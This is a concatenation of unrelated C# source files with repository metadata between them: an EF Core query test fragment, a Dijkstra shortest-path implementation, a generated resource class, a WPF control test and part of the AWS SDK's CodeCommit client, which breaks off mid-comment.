o.OrderDetails))); }, entryCount: 14); } protected virtual void ClearLog() { } protected NorthwindContext CreateContext() => Fixture.CreateContext(); } }
44.199444
151
0.541485
[ "Apache-2.0" ]
arontsang/EntityFrameworkCore
test/EFCore.Specification.Tests/Query/NorthwindIncludeQueryTestBase.cs
79,559
C#
namespace Graphs.Algorithms { using System; using Graphs.Components.Contracts; using Graphs.Exceptions; using Contracts; using Graphs.Algorithms.Common; using System.Collections.Generic; public sealed class Dijkstra<T> : IShortestPath<T> where T : IComparable { private ISet<INode<T>> nodes; public Dijkstra() { } public Graph<T> Graph { get; set; } public int CalculateShortestPath(INode<T> startNode, INode<T> targetNode) { if (!this.Graph.Nodes.Contains(startNode) || !this.Graph.Nodes.Contains(targetNode)) { throw new NodeNotFoundException(); } int cost = 0; startNode.Cost = 0; this.nodes = new HashSet<INode<T>>(this.Graph.Nodes); while (this.nodes.Count > 0) { INode<T> smallest = this.GetSmallestNode(); if (!smallest.Equals(targetNode)) { this.CalculateAdjacentNodesCost(smallest); this.nodes.Remove(smallest); } else { cost = targetNode.Cost; break; } } this.ResetNodesCosts(); return cost; } private INode<T> GetSmallestNode() { INode<T> smallest = null; bool isSet = false; foreach (INode<T> node in this.nodes) { if ((!isSet) || (smallest != null && smallest.Cost > node.Cost)) { smallest = node; isSet = true; } } return smallest; } private void CalculateAdjacentNodesCost(INode<T> node) { foreach (IEdge<T> edge in node.AdjacentEdges) { int newCost = node.Cost + edge.Weight; if (edge.Node.Cost > newCost) { edge.Node.Cost = newCost; } } } private void ResetNodesCosts() { foreach (INode<T> node in this.Graph.Nodes) { node.Cost = int.MaxValue; } } } }
25.139785
96
0.460222
[ "MIT" ]
hAWKdv/DataStructures
csharp/Graphs/Graphs/Algorithms/Dijkstra.cs
2,340
C#
//------------------------------------------------------------------------------ // <auto-generated> // This code was generated by a tool. // Runtime Version:4.0.30319.42000 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // </auto-generated> //------------------------------------------------------------------------------ namespace AppStore.Api.Language { using System; /// <summary> /// A strongly-typed resource class, for looking up localized strings, etc. /// </summary> // This class was auto-generated by the StronglyTypedResourceBuilder // class via a tool like ResGen or Visual Studio. // To add or remove a member, edit your .ResX file then rerun ResGen // with the /str option, or rebuild your VS project. [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] public class AppStoreMsg { private static global::System.Resources.ResourceManager resourceMan; private static global::System.Globalization.CultureInfo resourceCulture; [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] internal AppStoreMsg() { } /// <summary> /// Returns the cached ResourceManager instance used by this class. /// </summary> [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] public static global::System.Resources.ResourceManager ResourceManager { get { if (object.ReferenceEquals(resourceMan, null)) { global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("AppStore.Api.Language.AppStoreMsg", typeof(AppStoreMsg).Assembly); resourceMan = temp; } return resourceMan; } } /// <summary> /// Overrides the current thread's CurrentUICulture property for all /// resource lookups using this strongly typed resource class. /// </summary> [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] public static global::System.Globalization.CultureInfo Culture { get { return resourceCulture; } set { resourceCulture = value; } } /// <summary> /// Looks up a localized string similar to INF0001 - User created successfully. /// </summary> public static string INF0001 { get { return ResourceManager.GetString("INF0001", resourceCulture); } } /// <summary> /// Looks up a localized string similar to INF0002 - Error querying available applications. /// </summary> public static string INF0002 { get { return ResourceManager.GetString("INF0002", resourceCulture); } } /// <summary> /// Looks up a localized string similar to INF0003 - The application has been registered. /// </summary> public static string INF0003 { get { return ResourceManager.GetString("INF0003", resourceCulture); } } /// <summary> /// Looks up a localized string similar to INF0004 - Purchase made successfully. /// </summary> public static string INF0004 { get { return ResourceManager.GetString("INF0004", resourceCulture); } } /// <summary> /// Looks up a localized string similar to INF0005 - Some input parameter is incorrect. /// </summary> public static string INF0005 { get { return ResourceManager.GetString("INF0005", resourceCulture); } } /// <summary> /// Looks up a localized string similar to INF0006 - There is no user with TaxNumber {0}. /// </summary> public static string INF0006 { get { return ResourceManager.GetString("INF0006", resourceCulture); } } /// <summary> /// Looks up a localized string similar to INF0007 - Code {0} for application does not exist. /// </summary> public static string INF0007 { get { return ResourceManager.GetString("INF0007", resourceCulture); } } } }
39.070866
180
0.571745
[ "MIT" ]
sandredossantos/AppStore
AppStore/AppStore.Api/Language/AppStoreMsg.Designer.cs
4,964
C#
using System; using System.Diagnostics; using System.Windows; using Codeer.Friendly.Windows; using Codeer.Friendly.Dynamic; using Microsoft.VisualStudio.TestTools.UnitTesting; using RM.Friendly.WPFStandardControls; using System.Windows.Controls; using Codeer.Friendly.Windows.NativeStandardControls; using Codeer.Friendly; using Codeer.Friendly.Windows.Grasp; namespace Test { [TestClass] public class WPFTextBlockTest : WPFTestBase<TextBox> { const string TestValue = "It worked!"; [TestMethod] public void TestText() { WPFTextBlock textBox = new WPFTextBlock(Target); textBox.Dynamic().Text = TestValue; string textBoxText = textBox.Text; Assert.AreEqual(TestValue, textBoxText); } } }
26.5
60
0.703145
[ "Apache-2.0" ]
Roommetro/Friendly.WPFStandardControls
Project/Test/WPFTextBlockTest.cs
797
C#
/* * Copyright 2010-2014 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ /* * Do not modify this file. This file is generated from the codecommit-2015-04-13.normal.json service model. */ using System; using System.Runtime.ExceptionServices; using System.Threading; using System.Threading.Tasks; using System.Collections.Generic; using System.Net; using Amazon.CodeCommit.Model; using Amazon.CodeCommit.Model.Internal.MarshallTransformations; using Amazon.CodeCommit.Internal; using Amazon.Runtime; using Amazon.Runtime.Internal; using Amazon.Runtime.Internal.Auth; using Amazon.Runtime.Internal.Transform; namespace Amazon.CodeCommit { /// <summary> /// Implementation for accessing CodeCommit /// /// AWS CodeCommit /// <para> /// This is the <i>AWS CodeCommit API Reference</i>. This reference provides descriptions /// of the operations and data types for AWS CodeCommit API along with usage examples. /// </para> /// /// <para> /// You can use the AWS CodeCommit API to work with the following objects: /// </para> /// /// <para> /// Repositories, by calling the following: /// </para> /// <ul> <li> /// <para> /// <a>BatchGetRepositories</a>, which returns information about one or more repositories /// associated with your AWS account. /// </para> /// </li> <li> /// <para> /// <a>CreateRepository</a>, which creates an AWS CodeCommit repository. /// </para> /// </li> <li> /// <para> /// <a>DeleteRepository</a>, which deletes an AWS CodeCommit repository. /// </para> /// </li> <li> /// <para> /// <a>GetRepository</a>, which returns information about a specified repository. /// </para> /// </li> <li> /// <para> /// <a>ListRepositories</a>, which lists all AWS CodeCommit repositories associated with /// your AWS account. /// </para> /// </li> <li> /// <para> /// <a>UpdateRepositoryDescription</a>, which sets or updates the description of the /// repository. /// </para> /// </li> <li> /// <para> /// <a>UpdateRepositoryName</a>, which changes the name of the repository. If you change /// the name of a repository, no other users of that repository will be able to access /// it until you send them the new HTTPS or SSH URL to use. /// </para> /// </li> </ul> /// <para> /// Branches, by calling the following: /// </para> /// <ul> <li> /// <para> /// <a>CreateBranch</a>, which creates a new branch in a specified repository. /// </para> /// </li> <li> /// <para> /// <a>DeleteBranch</a>, which deletes the specified branch in a repository unless it /// is the default branch. /// </para> /// </li> <li> /// <para> /// <a>GetBranch</a>, which returns information about a specified branch. /// </para> /// </li> <li> /// <para> /// <a>ListBranches</a>, which lists all branches for a specified repository. /// </para> /// </li> <li> /// <para> /// <a>UpdateDefaultBranch</a>, which changes the default branch for a repository. /// </para> /// </li> </ul> /// <para> /// Files, by calling the following: /// </para> /// <ul> <li> /// <para> /// <a>DeleteFile</a>, which deletes the content of a specified file from a specified /// branch. /// </para> /// </li> <li> /// <para> /// <a>GetBlob</a>, which returns the base-64 encoded content of an individual Git blob /// object within a repository. /// </para> /// </li> <li> /// <para> /// <a>GetFile</a>, which returns the base-64 encoded content of a specified file. /// </para> /// </li> <li> /// <para> /// <a>GetFolder</a>, which returns the contents of a specified folder or directory. /// </para> /// </li> <li> /// <para> /// <a>PutFile</a>, which adds or modifies a single file in a specified repository and /// branch. /// </para> /// </li> </ul> /// <para> /// Commits, by calling the following: /// </para> /// <ul> <li> /// <para> /// <a>CreateCommit</a>, which creates a commit for changes to a repository. /// </para> /// </li> <li> /// <para> /// <a>GetCommit</a>, which returns information about a commit, including commit messages /// and author and committer information. /// </para> /// </li> <li> /// <para> /// <a>GetDifferences</a>, which returns information about the differences in a valid /// commit specifier (such as a branch, tag, HEAD, commit ID or other fully qualified /// reference). /// </para> /// </li> </ul> /// <para> /// Merges, by calling the following: /// </para> /// <ul> <li> /// <para> /// <a>BatchDescribeMergeConflicts</a>, which returns information about conflicts in /// a merge between commits in a repository. /// </para> /// </li> <li> /// <para> /// <a>CreateUnreferencedMergeCommit</a>, which creates an unreferenced commit between /// two branches or commits for the purpose of comparing them and identifying any potential /// conflicts. /// </para> /// </li> <li> /// <para> /// <a>DescribeMergeConflicts</a>, which returns information about merge conflicts between /// the base, source, and destination versions of a file in a potential merge. /// </para> /// </li> <li> /// <para> /// <a>GetMergeCommit</a>, which returns information about the merge between a source /// and destination commit. /// </para> /// </li> <li> /// <para> /// <a>GetMergeConflicts</a>, which returns information about merge conflicts between /// the source and destination branch in a pull request. /// </para> /// </li> <li> /// <para> /// <a>GetMergeOptions</a>, which returns information about the available merge options /// between two branches or commit specifiers. /// </para> /// </li> <li> /// <para> /// <a>MergeBranchesByFastForward</a>, which merges two branches using the fast-forward /// merge option. /// </para> /// </li> <li> /// <para> /// <a>MergeBranchesBySquash</a>, which merges two branches using the squash merge option. /// </para> /// </li> <li> /// <para> /// <a>MergeBranchesByThreeWay</a>, which merges two branches using the three-way merge /// option. /// </para> /// </li> </ul> /// <para> /// Pull requests, by calling the following: /// </para> /// <ul> <li> /// <para> /// <a>CreatePullRequest</a>, which creates a pull request in a specified repository. /// </para> /// </li> <li> /// <para> /// <a>DescribePullRequestEvents</a>, which returns information about one or more pull /// request events. /// </para> /// </li> <li> /// <para> /// <a>GetCommentsForPullRequest</a>, which returns information about comments on a specified /// pull request. /// </para> /// </li> <li> /// <para> /// <a>GetPullRequest</a>, which returns information about a specified pull request. /// </para> /// </li> <li> /// <para> /// <a>ListPullRequests</a>, which lists all pull requests for a repository. /// </para> /// </li> <li> /// <para> /// <a>MergePullRequestByFastForward</a>, which merges the source destination branch /// of a pull request into the specified destination branch for that pull request using /// the fast-forward merge option. /// </para> /// </li> <li> /// <para> /// <a>MergePullRequestBySquash</a>, which merges the source destination branch of a /// pull request into the specified destination branch for that pull request using the /// squash merge option. /// </para> /// </li> <li> /// <para> /// <a>MergePullRequestByThreeWay</a>. which merges the source destination branch of /// a pull request into the specified destination branch for that pull request using the /// three-way merge option. /// </para> /// </li> <li> /// <para> /// <a>PostCommentForPullRequest</a>, which posts a comment to a pull request at the /// specified line, file, or request. /// </para> /// </li> <li> /// <para> /// <a>UpdatePullRequestDescription</a>, which updates the description of a pull request. /// </para> /// </li> <li> /// <para> /// <a>UpdatePullRequestStatus</a>, which updates the status of a pull request. /// </para> /// </li> <li> /// <para> /// <a>UpdatePullRequestTitle</a>, which updates the title of a pull request. /// </para> /// </li> </ul> /// <para> /// Comments in a repository, by calling the following: /// </para> /// <ul> <li> /// <para> /// <a>DeleteCommentContent</a>, which deletes the content of a comment on a commit in /// a repository. /// </para> /// </li> <li> /// <para> /// <a>GetComment</a>, which returns information about a comment on a commit. /// </para> /// </li> <li> /// <para> /// <a>GetCommentsForComparedCommit</a>, which returns information about comments on /// the comparison between two commit specifiers in a repository. /// </para> /// </li> <li> /// <para> /// <a>PostCommentForComparedCommit</a>, which creates a comment on the comparison between /// two commit specifiers in a repository. /// </para> /// </li> <li> /// <para> /// <a>PostCommentReply</a>, which creates a reply to a comment. /// </para> /// </li> <li> /// <para> /// <a>UpdateComment</a>, which updates the content of a comment on a commit in a repository. /// </para> /// </li> </ul> /// <para> /// Tags used to tag resources in AWS CodeCommit (not Git tags), by calling the following: /// </para> /// <ul> <li> /// <para> /// <a>ListTagsForResource</a>, which gets information about AWS tags for a specified /// Amazon Resource Name (ARN) in AWS CodeCommit. /// </para> /// </li> <li> /// <para> /// <a>TagResource</a>, which adds or updates tags for a resource in AWS CodeCommit. /// </para> /// </li> <li> /// <para> /// <a>UntagResource</a>, which removes tags for a resource in AWS CodeCommit. /// </para> /// </li> </ul> /// <para> /// Triggers, by calling the following: /// </para> /// <ul> <li> /// <para> /// <a>GetRepositoryTriggers</a>, which returns information about triggers configured /// for a repository. /// </para> /// </li> <li> /// <para> /// <a>PutRepositoryTriggers</a>, which replaces all triggers for a repository and can /// be used to create or delete triggers. /// </para> /// </li> <li> /// <para> /// <a>TestRepositoryTriggers</a>, which tests the functionality of a repository trigger /// by sending data to the trigger target. /// </para> /// </li> </ul> /// <para> /// For information about how to use AWS CodeCommit, see the <a href="https://docs.aws.amazon.com/codecommit/latest/userguide/welcome.html">AWS /// CodeCommit User Guide</a>. /// </para> /// </summary> public partial class AmazonCodeCommitClient : AmazonServiceClient, IAmazonCodeCommit { private static IServiceMetadata serviceMetadata = new AmazonCodeCommitMetadata(); #region Constructors /// <summary> /// Constructs AmazonCodeCommitClient with the credentials loaded from the application's /// default configuration, and if unsuccessful from the Instance Profile service on an EC2 instance. /// /// Example App.config with credentials set. /// <code> /// &lt;?xml version="1.0" encoding="utf-8" ?&gt; /// &lt;configuration&gt; /// &lt;appSettings&gt; /// &lt;add key="AWSProfileName" value="AWS Default"/&gt; /// &lt;/appSettings&gt; /// &lt;/configuration&gt; /// </code> /// /// </summary> public AmazonCodeCommitClient() : base(FallbackCredentialsFactory.GetCredentials(), new AmazonCodeCommitConfig()) { } /// <summary> /// Constructs AmazonCodeCommitClient with the credentials loaded from the application's /// default configuration, and if unsuccessful from the Instance Profile service on an EC2 instance. /// /// Example App.config with credentials set. /// <code> /// &lt;?xml version="1.0" encoding="utf-8" ?&gt; /// &lt;configuration&gt; /// &lt;appSettings&gt; /// &lt;add key="AWSProfileName" value="AWS Default"/&gt; /// &lt;/appSettings&gt; /// &lt;/configuration&gt; /// </code> /// /// </summary> /// <param name="region">The region to connect.</param> public AmazonCodeCommitClient(RegionEndpoint region) : base(FallbackCredentialsFactory.GetCredentials(), new AmazonCodeCommitConfig{RegionEndpoint = region}) { } /// <summary> /// Constructs AmazonCodeCommitClient with the credentials loaded from the application's /// default configuration, and if unsuccessful from the Instance Profile service on an EC2 instance. /// /// Example App.config with credentials set. /// <code> /// &lt;?xml version="1.0" encoding="utf-8" ?&gt; /// &lt;configuration&gt; /// &lt;appSettings&gt; /// &lt;add key="AWSProfileName" value="AWS Default"/&gt; /// &lt;/appSettings&gt; /// &lt;/configuration&gt; /// </code> /// /// </summary> /// <param name="config">The AmazonCodeCommitClient Configuration Object</param> public AmazonCodeCommitClient(AmazonCodeCommitConfig config) : base(FallbackCredentialsFactory.GetCredentials(), config) { } /// <summary> /// Constructs AmazonCodeCommitClient with AWS Credentials /// </summary> /// <param name="credentials">AWS Credentials</param> public AmazonCodeCommitClient(AWSCredentials credentials) : this(credentials, new AmazonCodeCommitConfig()) { } /// <summary> /// Constructs AmazonCodeCommitClient with AWS Credentials /// </summary> /// <param name="credentials">AWS Credentials</param> /// <param name="region">The region to connect.</param> public AmazonCodeCommitClient(AWSCredentials credentials, RegionEndpoint region) : this(credentials, new AmazonCodeCommitConfig{RegionEndpoint = region}) { } /// <summary> /// Constructs AmazonCodeCommitClient with AWS Credentials and an /// AmazonCodeCommitClient Configuration object. /// </summary> /// <param name="credentials">AWS Credentials</param> /// <param name="clientConfig">The AmazonCodeCommitClient Configuration Object</param> public AmazonCodeCommitClient(AWSCredentials credentials, AmazonCodeCommitConfig clientConfig) : base(credentials, clientConfig) { } /// <summary> /// Constructs AmazonCodeCommitClient with AWS Access Key ID and AWS Secret Key /// </summary> /// <param name="awsAccessKeyId">AWS Access Key ID</param> /// <param name="awsSecretAccessKey">AWS Secret Access Key</param> public AmazonCodeCommitClient(string awsAccessKeyId, string awsSecretAccessKey) : this(awsAccessKeyId, awsSecretAccessKey, new AmazonCodeCommitConfig()) { } /// <summary> /// Constructs AmazonCodeCommitClient with AWS Access Key ID and AWS Secret Key /// </summary> /// <param name="awsAccessKeyId">AWS Access Key ID</param> /// <param name="awsSecretAccessKey">AWS Secret Access Key</param> /// <param name="region">The region to connect.</param> public AmazonCodeCommitClient(string awsAccessKeyId, string awsSecretAccessKey, RegionEndpoint region) : this(awsAccessKeyId, awsSecretAccessKey, new AmazonCodeCommitConfig() {RegionEndpoint=region}) { } /// <summary> /// Constructs AmazonCodeCommitClient with AWS Access Key ID, AWS Secret Key and an /// AmazonCodeCommitClient Configuration object. /// </summary> /// <param name="awsAccessKeyId">AWS Access Key ID</param> /// <param name="awsSecretAccessKey">AWS Secret Access Key</param> /// <param name="clientConfig">The AmazonCodeCommitClient Configuration Object</param> public AmazonCodeCommitClient(string awsAccessKeyId, string awsSecretAccessKey, AmazonCodeCommitConfig clientConfig) : base(awsAccessKeyId, awsSecretAccessKey, clientConfig) { } /// <summary> /// Constructs AmazonCodeCommitClient with AWS Access Key ID and AWS Secret Key /// </summary> /// <param name="awsAccessKeyId">AWS Access Key ID</param> /// <param name="awsSecretAccessKey">AWS Secret Access Key</param> /// <param name="awsSessionToken">AWS Session Token</param> public AmazonCodeCommitClient(string awsAccessKeyId, string awsSecretAccessKey, string awsSessionToken) : this(awsAccessKeyId, awsSecretAccessKey, awsSessionToken, new AmazonCodeCommitConfig()) { } /// <summary> /// Constructs AmazonCodeCommitClient with AWS Access Key ID and AWS Secret Key /// </summary> /// <param name="awsAccessKeyId">AWS Access Key ID</param> /// <param name="awsSecretAccessKey">AWS Secret Access Key</param> /// <param name="awsSessionToken">AWS Session Token</param> /// <param name="region">The region to connect.</param> public AmazonCodeCommitClient(string awsAccessKeyId, string awsSecretAccessKey, string awsSessionToken, RegionEndpoint region) : this(awsAccessKeyId, awsSecretAccessKey, awsSessionToken, new AmazonCodeCommitConfig{RegionEndpoint = region}) { } /// <summary> /// Constructs AmazonCodeCommitClient with AWS Access Key ID, AWS Secret Key and an /// AmazonCodeCommitClient Configuration object. /// </summary> /// <param name="awsAccessKeyId">AWS Access Key ID</param> /// <param name="awsSecretAccessKey">AWS Secret Access Key</param> /// <param name="awsSessionToken">AWS Session Token</param> /// <param name="clientConfig">The AmazonCodeCommitClient Configuration Object</param> public AmazonCodeCommitClient(string awsAccessKeyId, string awsSecretAccessKey, string awsSessionToken, AmazonCodeCommitConfig clientConfig) : base(awsAccessKeyId, awsSecretAccessKey, awsSessionToken, clientConfig) { } #endregion #region Overrides /// <summary> /// Creates the signer for the service. /// </summary> protected override AbstractAWSSigner CreateSigner() { return new AWS4Signer(); } /// <summary> /// Capture metadata for the service. /// </summary> protected override IServiceMetadata ServiceMetadata { get { return serviceMetadata; } } #endregion #region Dispose /// <summary> /// Disposes the service client. /// </summary> protected override void Dispose(bool disposing) { base.Dispose(disposing); } #endregion #region BatchDescribeMergeConflicts /// <summary> /// Returns information about one or more merge conflicts in the attempted merge of two /// commit specifiers using the squash or three-way merge strategy. /// </summary> /// <param name="request">Container for the necessary parameters to execute the BatchDescribeMergeConflicts service method.</param> /// /// <returns>The response from the BatchDescribeMergeConflicts service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitRequiredException"> /// A commit was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitException"> /// The specified commit is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictDetailLevelException"> /// The specified conflict detail level is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionStrategyException"> /// The specified conflict resolution strategy is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidContinuationTokenException"> /// The specified continuation token is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidMaxConflictFilesException"> /// The specified value for the number of conflict files to return is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidMaxMergeHunksException"> /// The specified value for the number of merge hunks to return is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidMergeOptionException"> /// The specified merge option is not valid for this operation. Not all merge strategies /// are supported for all operations. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumFileContentToLoadExceededException"> /// The number of files to load exceeds the allowed limit. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumItemsToCompareExceededException"> /// The maximum number of items to compare between the source or destination branches /// and the merge base has exceeded the maximum allowed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MergeOptionRequiredException"> /// A merge option or stategy is required, and none was provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TipsDivergenceExceededException"> /// The divergence between the tips of the provided commit specifiers is too great to /// determine whether there might be any merge conflicts. Locally compare the specifiers /// using <code>git diff</code> or a diff tool. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/BatchDescribeMergeConflicts">REST API Reference for BatchDescribeMergeConflicts Operation</seealso> public virtual BatchDescribeMergeConflictsResponse BatchDescribeMergeConflicts(BatchDescribeMergeConflictsRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = BatchDescribeMergeConflictsRequestMarshaller.Instance; options.ResponseUnmarshaller = BatchDescribeMergeConflictsResponseUnmarshaller.Instance; return Invoke<BatchDescribeMergeConflictsResponse>(request, options); } /// <summary> /// Returns information about one or more merge conflicts in the attempted merge of two /// commit specifiers using the squash or three-way merge strategy. /// </summary> /// <param name="request">Container for the necessary parameters to execute the BatchDescribeMergeConflicts service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the BatchDescribeMergeConflicts service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitRequiredException"> /// A commit was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitException"> /// The specified commit is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictDetailLevelException"> /// The specified conflict detail level is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionStrategyException"> /// The specified conflict resolution strategy is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidContinuationTokenException"> /// The specified continuation token is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidMaxConflictFilesException"> /// The specified value for the number of conflict files to return is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidMaxMergeHunksException"> /// The specified value for the number of merge hunks to return is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidMergeOptionException"> /// The specified merge option is not valid for this operation. Not all merge strategies /// are supported for all operations. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumFileContentToLoadExceededException"> /// The number of files to load exceeds the allowed limit. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumItemsToCompareExceededException"> /// The maximum number of items to compare between the source or destination branches /// and the merge base has exceeded the maximum allowed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MergeOptionRequiredException"> /// A merge option or stategy is required, and none was provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TipsDivergenceExceededException"> /// The divergence between the tips of the provided commit specifiers is too great to /// determine whether there might be any merge conflicts. Locally compare the specifiers /// using <code>git diff</code> or a diff tool. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/BatchDescribeMergeConflicts">REST API Reference for BatchDescribeMergeConflicts Operation</seealso> public virtual Task<BatchDescribeMergeConflictsResponse> BatchDescribeMergeConflictsAsync(BatchDescribeMergeConflictsRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = BatchDescribeMergeConflictsRequestMarshaller.Instance; options.ResponseUnmarshaller = BatchDescribeMergeConflictsResponseUnmarshaller.Instance; return InvokeAsync<BatchDescribeMergeConflictsResponse>(request, options, cancellationToken); } #endregion #region BatchGetRepositories /// <summary> /// Returns information about one or more repositories. /// /// <note> /// <para> /// The description field for a repository accepts all HTML characters and all valid Unicode /// characters. Applications that do not HTML-encode the description and display it in /// a web page could expose users to potentially malicious code. Make sure that you HTML-encode /// the description field in any application that uses this API to display the repository /// description on a web page. /// </para> /// </note> /// </summary> /// <param name="request">Container for the necessary parameters to execute the BatchGetRepositories service method.</param> /// /// <returns>The response from the BatchGetRepositories service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumRepositoryNamesExceededException"> /// The maximum number of allowed repository names was exceeded. Currently, this number /// is 25. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNamesRequiredException"> /// A repository names object is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/BatchGetRepositories">REST API Reference for BatchGetRepositories Operation</seealso> public virtual BatchGetRepositoriesResponse BatchGetRepositories(BatchGetRepositoriesRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = BatchGetRepositoriesRequestMarshaller.Instance; options.ResponseUnmarshaller = BatchGetRepositoriesResponseUnmarshaller.Instance; return Invoke<BatchGetRepositoriesResponse>(request, options); } /// <summary> /// Returns information about one or more repositories. /// /// <note> /// <para> /// The description field for a repository accepts all HTML characters and all valid Unicode /// characters. Applications that do not HTML-encode the description and display it in /// a web page could expose users to potentially malicious code. Make sure that you HTML-encode /// the description field in any application that uses this API to display the repository /// description on a web page. /// </para> /// </note> /// </summary> /// <param name="request">Container for the necessary parameters to execute the BatchGetRepositories service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the BatchGetRepositories service method, as returned by 